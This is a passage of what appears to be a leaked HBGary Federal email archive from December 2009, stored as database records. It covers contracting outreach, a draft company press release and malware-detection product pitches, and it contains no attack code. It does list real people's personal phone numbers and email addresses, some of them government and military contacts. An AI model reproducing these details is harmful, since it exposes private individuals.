\r\n\r\nWilliam H. Rohlman\r\n\r\nDeputy Operations Manager\r\n\r\nDoD Space Operation\r\n\r\n \r\n\r\n300 N. Sepulveda Blvd.\r\n\r\nEl Segundo, CA 90245\r\n\r\n \r\n\r\n(310) 524-3137 (office)\r\n\r\n(310) 819-6623 (cell)\r\n\r\n \r\n\r\nwilliam.rohlman@saic.com\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, December 04, 2009 7:26 AM\r\nTo: Rohlman, William H.\r\nSubject: Re: Update\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nThanks Bill. We&#39;ve been connected with Amanda Brownfield\r\n(contact info below) and executed an NDA yesterday. Hope you have a great\r\nweekend!\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAmanda L. Brownfield\r\n\r\nVP/Division Manager\r\n\r\nAdvanced Analytics\r\nand Cultural Research\r\n\r\nSAIC\r\n\r\n703-810-8979 office\r\n\r\n\r\n703-862-5614 BB\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 3, 2009, at 5:24 PM, &quot;Rohlman, William H.&quot; &lt;WILLIAM.H.ROHLMAN@saic.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed –\r\nI had passed your info to Larry right after you got it to me as possible new\r\nhires.   Right afterwards, you let me know you had accepted a\r\nposition with another company.  I recommend you/Aaron contact Larry directly\r\nto discuss possible teaming between HB Gary and SAIC.\r\n\r\n \r\n\r\nHere’s\r\nLarry’s information:\r\n\r\n \r\n\r\nJob\r\nTitle BU GENERAL MGR \r\n\r\nVP\r\nTitle: BU SR VP &amp; GEN MGR \r\n\r\nlarry.d.cox@saic.com \r\n\r\n \r\n\r\n443-367-7777\r\n\r\n410-980-7694\r\n\r\n \r\n\r\nOver\r\nto you!\r\n\r\n \r\n\r\nBill\r\n\r\n \r\n\r\nWilliam H.\r\nRohlman\r\n\r\nDeputy\r\nOperations Manager\r\n\r\nDoD Space\r\nOperation\r\n\r\n \r\n\r\n300 N.\r\nSepulveda Blvd.\r\n\r\nEl\r\nSegundo, CA 90245\r\n\r\n \r\n\r\n(310)\r\n524-3137 (office)\r\n\r\n(310)\r\n819-6623 (cell)\r\n\r\n \r\n\r\nwilliam.rohlman@saic.com\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\n\r\nSent: Monday, November 30, 2009 7:35 PM\r\nTo: Rohlman, William H.\r\nCc: Barr Aaron\r\nSubject: Re: Update\r\n\r\n\r\n\r\n \r\n\r\nHi\r\nBill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny\r\nluck? Aaron was hoping to set up a meeting this week, if possible.  The\r\nproposal timeline is getting close.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nagain,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn\r\nWed, Nov 25, 2009 at 9:31 PM, Rohlman, William H. &lt;WILLIAM.H.ROHLMAN@saic.com&gt;\r\nwrote:\r\n\r\nCongrats,\r\nMr President! I&#39;ll see what I can find out. Bill\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt; \r\n\r\nTo: Rohlman, William H. \r\nCc: Barr Aaron &lt;aaron@hbgary.com&gt;\r\n\r\nSent: Wed Nov 25 13:07:20 2009\r\nSubject: Update \r\n\r\n\r\n\r\n\r\n\r\nHi\r\nBill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThe\r\njob search went much quicker than we expected, thank you very much for your\r\nhelp.  Aaron and I joined HBGary, a small business we&#39;ve teamed with over\r\nthe years that develops some very unique Information Operations software.\r\n We didn&#39;t hear back from Larry Cox regarding our resumes, but we would\r\nstill like to schedule a meeting to discuss potential teaming on the Romas\r\nrecompete.  Do you know who is responsible for that capture effort?\r\n If possible, we&#39;d like to set up a face-to-face meeting with Aaron Barr\r\nsometime next week in DC.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHappy\r\nThanksgiving!\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n--\r\n\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11054,'aaron_hbgary_com/11054.html'),(391,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999785.M744391P3547Q391.eml','john.jolly@ngc.com,john.jolly@ngc.com,,,,','Cybersecurity Discussions','John,\r\n\r\nNot sure if you know, but I am no longer with Northrop.  My current position is as CEO of HBGary Federal, a wholly owned subsidiary of HBGary.  HBGary builds malware detection and analysis products.  Their history is steeped in Forensics, but their recent products and technology roadmap is focused more on malware detection and incident response.\r\n\r\nSpecifically a product launched last spring called Digital DNA and another product launched last month called ReCON.  They currently have a malware genome with 3500 traits/characteristics identified.  Using their memory capture and analysis tools they look at the function and behavior of software and compare that to the malware genome and attribute a threat score indicating the likely hood of it being malware.  Using the genome they are also doing comparisons of malware for authorship identification.  I think this has possibilities for attribution if linked with capabilities like Palantir.  I am currently in discussions with Palantir to partner on an attribution based capability.  Currently we claim 75% identification of zero day malware and believe further build outs of the genome and partnerships with other technologies will get us into the 80-90% range.\r\n\r\nI spoke to Ralph Denty from NSA cybersecurity operations integration, he is putting me in contact with some folks from Carnegie Melon, who have been recently charted by NSA to look at developing something similar.  We also have a current partnership with Mcafee and have integrated Digital DNA into their ePO product which is currently the base for HBSS.\r\n\r\nMy question is is their any interest from a TU perspective, specifically Tutiledge, in including this type of capability?  I think there are some longer term efforts on forward deployed systems using this type of methodology that could eventually detect evolutions of attacks and develop defensive capabilities against them before they ever reach you systems.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5594,'aaron_hbgary_com/5594.html'),(392,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999786.M248028P3547Q392.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Beth POwer-Lobbyist for DHS','Will do.On Dec 4, 2009, at 2:11 AM, Masterson, Brian (Xetron) wrote:Aaron,I think next week is not going to work out.&nbsp; Let me know as soon as you can on the next class. I don’t want to slow down us getting this started.&nbsp;Brian&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3543From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 03, 2009 6:20 PMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Fwd: Beth POwer-Lobbyist for DHS&nbsp;FYI. &nbsp;We can get u in another class on January and one or two others.From my iPhoneBegin forwarded message:From:&nbsp;\" Penny Hoglund\" &lt;penny@hbgary.com&gt;Date:&nbsp;December 3, 2009 5:25:17 PM ESTTo:&nbsp;\"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject:&nbsp;RE: Beth POwer-Lobbyist for DHSWe do it pretty often. &nbsp;We can do another in January if we get the studentwe need, we are doing one here in February and another in DC in March-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent: Thursday, December 03, 2009 1:42 PMTo: Penny HoglundSubject: Re: Beth POwer-Lobbyist for DHSHow often do u teach the class?AaronFrom my iPhoneOn Dec 3, 2009, at 12:44 PM, \" Penny Hoglund\" &lt;penny@hbgary.com&gt; wrote:&lt;mime-attachment.ics&gt;&nbsp;',12139,'aaron_hbgary_com/12139.html'),(393,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999786.M428201P3547Q393.eml','\"Tom Conroy\" <tom.conroy@ngc.com>','One Thing','Tom,\r\n\r\nOne thing that might need to get resolved.  I reached out to Bill Freeman to partner on this attribution idea.  Bill is a good friend and would love to help, but he is conservative by nature, so he asked Joe Greaney whether or not it would be ok given my departure and Joe told him that right now it might look improper given I left for starting a small business and now I work/lead a small business (although a completely different one).  I imagine if the benefit to both groups is sufficient this won\'t matter but just wanted to let you know in case it comes up.\r\n\r\nAaron',14437,'aaron_hbgary_com/14437.html'),(394,'2009-12-04','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1296999786.M626028P3547Q394.eml','aaron@hbgary.com','Re: One Thing','\r\n\r\n\r\n\r\n\r\nRe: One Thing\r\n\r\n\r\n\r\n\r\nThanks. Joe is cautious so that response is understandable. If Bill gets nervous have him call me and maybe I can help to clear the decks. The fact that you sent your earlier note to Kathy should relieve his concerns.\r\n\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.\r\nSent: Fri Dec 04 09:55:37 2009\r\nSubject: One Thing\r\n\r\nTom,\r\n\r\nOne thing that might need to get resolved.&nbsp; I reached out to Bill Freeman to partner on this attribution idea.&nbsp; Bill is a good friend and would love to help, but he is conservative by nature, so he asked Joe Greaney whether or not it would be ok given my departure and Joe told him that right now it might look improper given I left for starting a small business and now I work/lead a small business (although a completely different one).&nbsp; I imagine if the benefit to both groups is sufficient this won\'t matter but just wanted to let you know in case it comes up.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n',9518,'aaron_hbgary_com/9518.html'),(395,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999786.M799277P3547Q395.eml','\"William E. Freeman\" <William.Freeman@ngc.com>','Fwd: One Thing','FYIFrom my iPhoneBegin forwarded message:From: &quot;Conroy, Thomas W.&quot; &lt;Tom.Conroy@ngc.com&gt;\r\nDate: December 4, 2009 10:58:55 AM ESTTo: &lt;aaron@hbgary.com&gt;Subject: Re: One Thing\r\n\r\n\r\n\r\n\r\nThanks. Joe is cautious so that response is understandable. If Bill gets nervous have him call me and maybe I can help to clear the decks. The fact that you sent your earlier note to Kathy should relieve his concerns.\r\n\r\n\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.\r\nSent: Fri Dec 04 09:55:37 2009\r\nSubject: One Thing\r\n\r\nTom,\r\n\r\nOne thing that might need to get resolved.  I reached out to Bill Freeman to partner on this attribution idea.  Bill is a good friend and would love to help, but he is conservative by nature, so he asked Joe Greaney whether or not it would be ok given my departure and Joe told him that right now it might look improper given I left for starting a small business and now I work/lead a small business (although a completely different one).  I imagine if the benefit to both groups is sufficient this won&#39;t matter but just wanted to let you know in case it comes up.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n',1275,'aaron_hbgary_com/1275.html'),(396,'2009-12-04','intruder_pilot@yahoo.com','/aaron@hbgary.com/new/1296999787.M204802P3547Q397.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Can you meet early on the 11th of Dec near Fairlakes?','OK\r\n(Was for next week anyway). :-)\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Mike Steinmetz\r\nSent: Dec 2, 2009 17:28\r\nSubject: Re: Can you meet early on the 11th of Dec near Fairlakes?\r\n\r\nIf the time works just tell me the place.\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Dec 2, 2009, at 1:58 PM, Mike Steinmetz  > wrote:\r\n \r\n\r\n\r\n\r\n\r\nAaron, \r\nAre you up for a breakfast on Friday the 11th near fairlakes or Dulles? \r\nMike\r\n\r\nSent via BlackBerry from T-Mobile\r\n\r\n',542,'aaron_hbgary_com/542.html'),(397,'2009-12-04','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1296999787.M22763P3547Q396.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Review','http://www.arcsight.com/products/products-logger/\r\n\r\n From my iPhone\r\n',14346,'aaron_hbgary_com/14346.html'),(398,'2009-12-04','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1296999787.M405704P3547Q398.eml','penny@hbgary.com,aaron@hbgary.com,ted@hbgary.com,penny@hbgary.com,aaron@hbgary.com','DRAFT FOR FINAL REVIEW: HBGary Federal Announcement','Based on my conversation with Penny this morning, I have revised our press release annoucing HBGary Federal. Please review carefully for accuracy and let me know if you have any further changes. Ideally, it would be great to provide a another resource for people to go to get more information on HBGary&nbsp;Federal. Is there a phone number we can provide?&nbsp;\r\n&nbsp;\r\nAt this time, I plan to distribute to the press on Monday, December 7th, 2009. Once the press release is approved, I will pull together talking points for both Greg and Aaron for possible press interviews on Monday.\r\n&nbsp;\r\nThanks, Karen\r\n&nbsp;\r\n&nbsp;\r\nHBGary Launches HBGary Federal To Provide Cybersecurity Services \r\nTo U.S. Government Agencies\r\nNew Venture Led By Cybersecurity Experts and Former Northrop Grumman \r\nLeadership&nbsp;Aaron Barr and Ted Vera\r\nSacramento, California, December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements.\r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal.&nbsp;Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will &nbsp;ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our\r\n rapidly growing customer base.”\r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past. &nbsp;They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n“Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.&nbsp; Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation’s critical resources. HBGary’s behavior-based technologies such as Responder and Digital DNA represent the future.&nbsp; Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.&nbsp; \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.&nbsp; As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.&nbsp; HBGary Federal will set the standard for building and integrating such teams into customer missions for\r\n successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal.\r\n&nbsp;\r\nFor more information on HBGary Federal, please visit http://www.hbgary.com.\r\n&nbsp;\r\nAbout Aaron Barr, CEO, HBGary Federal\r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and&nbsp;as the Chief Engineer for Northrop Grummans’s Cyber Campaign. &nbsp; As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.&nbsp; Mr. Barr served tours in Misawa,\r\n Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. &nbsp; While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.&nbsp; He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums.\r\n&nbsp;\r\nAbout Ted Vera, COO and President, HBGary Federal\r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community. &nbsp;He has a breadth of IT experience, having excelled in positions including: &nbsp;system administrator, Website developer, system engineer, system security engineer and program manager. &nbsp;He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf\r\n architectures. &nbsp; Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.&nbsp; His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University.\r\n&nbsp;\r\n&nbsp;\r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers.&nbsp;Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com.\r\n \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n',9703,'aaron_hbgary_com/9703.html'),(399,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999787.M667263P3547Q399.eml','intruder_pilot@yahoo.com','Re: Can you meet early on the 11th of Dec near Fairlakes?','Ha.  Funny.  See u next week\r\n\r\n From my iPhone\r\n\r\nOn Dec 4, 2009, at 12:16 PM, intruder_pilot@yahoo.com wrote:\r\n\r\n> OK\r\n> (Was for next week anyway). :-)\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: Mike Steinmetz\r\n> Sent: Dec 2, 2009 17:28\r\n> Subject: Re: Can you meet early on the 11th of Dec near Fairlakes?\r\n>\r\n> If the time works just tell me the place.\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Dec 2, 2009, at 1:58 PM, Mike Steinmetz   > wrote:\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Aaron,\r\n> Are you up for a breakfast on Friday the 11th near fairlakes or\r\n> Dulles?\r\n> Mike\r\n>\r\n> Sent via BlackBerry from T-Mobile\r\n>\r\n',12974,'aaron_hbgary_com/12974.html'),(400,'2009-12-04','\"Jim Griggs\" <jgriggs@afcea.org>','/aaron@hbgary.com/new/1296999787.M882340P3547Q400.eml','','SOLUTIONS Series Survey','\r\n\r\n\r\n\r\n\r\nSOLUTIONS Series Survey\r\n\r\n\r\n\r\n\r\nThank you for participating in the SOLUTIONS Series: Cyberspace event this week.&nbsp; We hope the event provided a forum for dynamic and actionable dialogue.&nbsp; As we plan future events in the series we need your feedback.&nbsp; While we received many positive comments during the show, we invite you to take a moment to complete the online survey form and provide us with the critical information we need to continue refining the SOLUTIONS Series.&nbsp; The survey is anonymous so we anticipate an open and honest assessment of what you think went well and where we might improve.\r\n\r\nhttp://www.afcea.org/dynform/forminp.jsp?fid=2569\r\n\r\n\r\nThank you again for your participation in this event and I look forward to seeing you at the next Solutions Series conference.\r\n\r\nhttp://www.afceasolutions.org\r\n\r\n\r\n\r\nJim Griggs\r\n\r\nVice President, CIO and CTO\r\n\r\nAFCEA International \r\n\r\n&nbsp; \r\n\r\nAFCEA International, established in 1946, is a non-profit membership association serving the military, government, industry, and academia as an ethical forum for advancing professional knowledge and relationships in the fields of communications, IT, intelligence, and global security.\r\n\r\n\r\n\r\n\r\n',339,'aaron_hbgary_com/339.html'),(401,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999788.M249617P3547Q402.eml','\"Bill Varner\" <Bill.Varner@ManTech.com>','Just had Coffee with Bill Luti','Bill,\r\n\r\nDid you know Bill Luti is leaving Northrop?  I just had coffee with him.  He has some interesting ideas and aspirations for developing a federated approach to cyber security solutions, rather than an integrated approach.  I mentioned I thought ManTech might be a good place for that, he was thinking slightly smaller, but I told him you guys operate like a smaller, more agile organization.  Just thought I would pass it along.\r\n\r\nAlso, any interest in getting an HBGary capabilities overview from Greg Hoglund.  He is in town next week and thought if you or your team was interested I would set something up.  I am also working a partnership between HBGary, Palantir, and CMU to develop some capabilities, methodologies to push the rock on Attribution - I think its possible.\r\n\r\nThis has been my first week on the job (officially) and it has been a bang up first week!  I now know what you meant about having fun again... it feels great to wake up.\r\n\r\nHave a good weekend.\r\nAaron\r\n\r\n\r\n',9220,'aaron_hbgary_com/9220.html'),(402,'2009-12-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999788.M474939P3547Q403.eml','don@hypervista-tech.com,don@hypervista-tech.com,','Ping','Hi Don,\r\n\r\nGreat talking with you today. Drop us a line when you want to discuss\r\nthe upcoming opportunity. Got some time next week for a face-to-face\r\nwith Aaron, and possibly Greg?\r\n\r\nHope you have a great weekend,\r\n\r\nTed\r\n719-237-8623\r\n',7496,'aaron_hbgary_com/7496.html'),(403,'2009-12-04','\"Jeff Kubik, PMP, CISSP\" <jeffrey.kubik@ngc.com>','/aaron@hbgary.com/new/1296999788.M63606P3547Q401.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  LinkedIn\r\n\r\n\r\n\r\n            Jeff Kubik, PMP, CISSP has indicated you are a Colleague at Northrop Grumman:\r\n  \r\n    Hello Aaron,\r\n\r\nI\'d like to add you to my professional network on LinkedIn. I didn\'t realize you went to HBGary.  We partnered with them in 2005 to perform some SCADA reverse engineering work.\r\n\r\nBest regards,\r\n\r\n- Jeff Kubik, PMP, CISSP\r\n  \r\n\r\n  &nbsp;\r\n\r\n    \r\n      \r\n          \r\n            Accept\r\n          \r\n           \r\n                View invitation from Jeff Kubik, PMP, CISSP\r\n          \r\n      \r\n    \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW you can use your LinkedIn profile as your website? Select a vanity URL and then promote this address on your business cards, email signatures, website, etc. \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n',16853,'aaron_hbgary_com/16853.html'),(404,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999788.M666701P3547Q404.eml','\"Bailey Don\" <baileyde5@verizon.net>,\"Don Bailey\" <don@hypervista-tech.com>,\"Bailey Don\" <baileyde5@verizon.net>','Re: Ping','Don,\r\n\r\nTed told me you guys had a good conversation.  I have to tell you Ted and I have only been at this a week but we are already having the time of our life again, like the old days!  I look forward to seeing you soon.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 4, 2009, at 4:30 PM, Ted Vera wrote:\r\n\r\n> Hi Don,\r\n> \r\n> Great talking with you today. Drop us a line when you want to discuss\r\n> the upcoming opportunity. Got some time next week for a face-to-face\r\n> with Aaron, and possibly Greg?\r\n> \r\n> Hope you have a great weekend,\r\n> \r\n> Ted\r\n> 719-237-8623\r\n\r\n',2550,'aaron_hbgary_com/2550.html'),(405,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999788.M869677P3547Q405.eml','\"Bob Slapnik\" <bob@hbgary.com>','Information Needed','Hi Bob,\r\n\r\nI need the following information:\r\n\r\nContacts at:\r\nCMU\r\nSOCOM\r\n\r\nalso need details on the juicy fruit work, as much detail as I can get.  I need to develop a model around how HBGary federal might use going forward.  Specific current available products would be good, I think you were going to send me some information to review.\r\n\r\nAaron',7743,'aaron_hbgary_com/7743.html'),(406,'2009-12-04','ted@hbgary.com','/aaron@hbgary.com/new/1296999789.M293638P3547Q406.eml','aaron@hbgary.com','HBGary Federal Activity Report','I\'ve shared a document with you:\r\n\r\nHBGary Federal Activity Report\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0Abu9N_XVzxNhZHFuNjV3dF8xMWNjbXdxNWht&hl=en&invite=CJn41B4\r\n\r\nIt\'s not an attachment -- it\'s stored online at Google Docs. To open this  \r\ndocument, just click the link above.\r\n\r\n',14884,'aaron_hbgary_com/14884.html'),(407,'2009-12-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999789.M496332P3547Q407.eml','\"Aaron Barr\" <aaron@hbgary.com>','CMU CERT contacts','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nAaron Hackworth, CERT / 412-268-9144 / ath@cert.org \r\n\r\nMalware analysis.&nbsp; We need to show him REcon.\r\n\r\n&nbsp;\r\n\r\nMatthew Geiger , PDT Forensics Team / 412-268-7394 / mgeiger@cert.org\r\n\r\n&nbsp;\r\n\r\nNick Ianelli / ni@cert.org \r\n\r\n&nbsp;\r\n\r\nJoe McLeod / 412-268-6674 / jmcleod@sei.cmu.edu\r\n\r\n&nbsp;\r\n\r\nJason Milletary / 412-268-6857 (I don&#8217;t know him)\r\n\r\n&nbsp;\r\n\r\nRob Murowski / Dawn Song (I don&#8217;t know these people)\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nPhone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419\r\n\r\nbob@hbgary.com&nbsp; |&nbsp; www.hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1006,'aaron_hbgary_com/1006.html'),(408,'2009-12-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999789.M718117P3547Q408.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Information Needed','Aaron,\r\n\r\nI have some SOCOM contacts, but I don\'t have relationships with them.\r\n\r\nColleen Foster / 910-243-4222 / fosterc@jdi.socom.mil\r\n\r\nMercedes Griffin / 910-243-5416\r\n\r\nWalter McWilliams / 910-243-1849 / mcwilliamsw.ctr@jdi.socom.mil\r\nMuch to my surprise, he bought 2 copies of Responder Pro in Nov 2008.  I had\r\nforgotten they were customers and haven\'t called them in that time.  Need to\r\nfind out if they are current with the software or if they want to upgrade to\r\nDDNA.  Do you want to call him or me?\r\n\r\nI need to make some improvements on the write ups of the juicy fruit tools.\r\nI have a nice set of things to sell.  I\'ll work on it over the weekend and\r\nget them to you.  Do you have a pgp key?  Better to send encrypted, but\r\nmaybe it doesn\'t matter since I think we are SSL encrypted end-to-end as\r\nlong as the emails stay within HBGary.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, December 04, 2009 4:43 PM\r\nTo: Bob Slapnik\r\nSubject: Information Needed\r\n\r\nHi Bob,\r\n\r\nI need the following information:\r\n\r\nContacts at:\r\nCMU\r\nSOCOM\r\n\r\nalso need details on the juicy fruit work, as much detail as I can get.  I\r\nneed to develop a model around how HBGary federal might use going forward.\r\nSpecific current available products would be good, I think you were going to\r\nsend me some information to review.\r\n\r\nAaron=\r\n\r\n',3538,'aaron_hbgary_com/3538.html'),(409,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999789.M908710P3547Q409.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','DDNA and Feed processor','Hey Greg,\r\n\r\nI would like to spend some time next week specifically talking about the evolution and use of DDNA and the Feed Processor.  We have gotten a lot of traction this week talking about these products and our product/services model.\r\n\r\nIf its not already done whats the best path to get some specific benchmarks.  Some of the possible 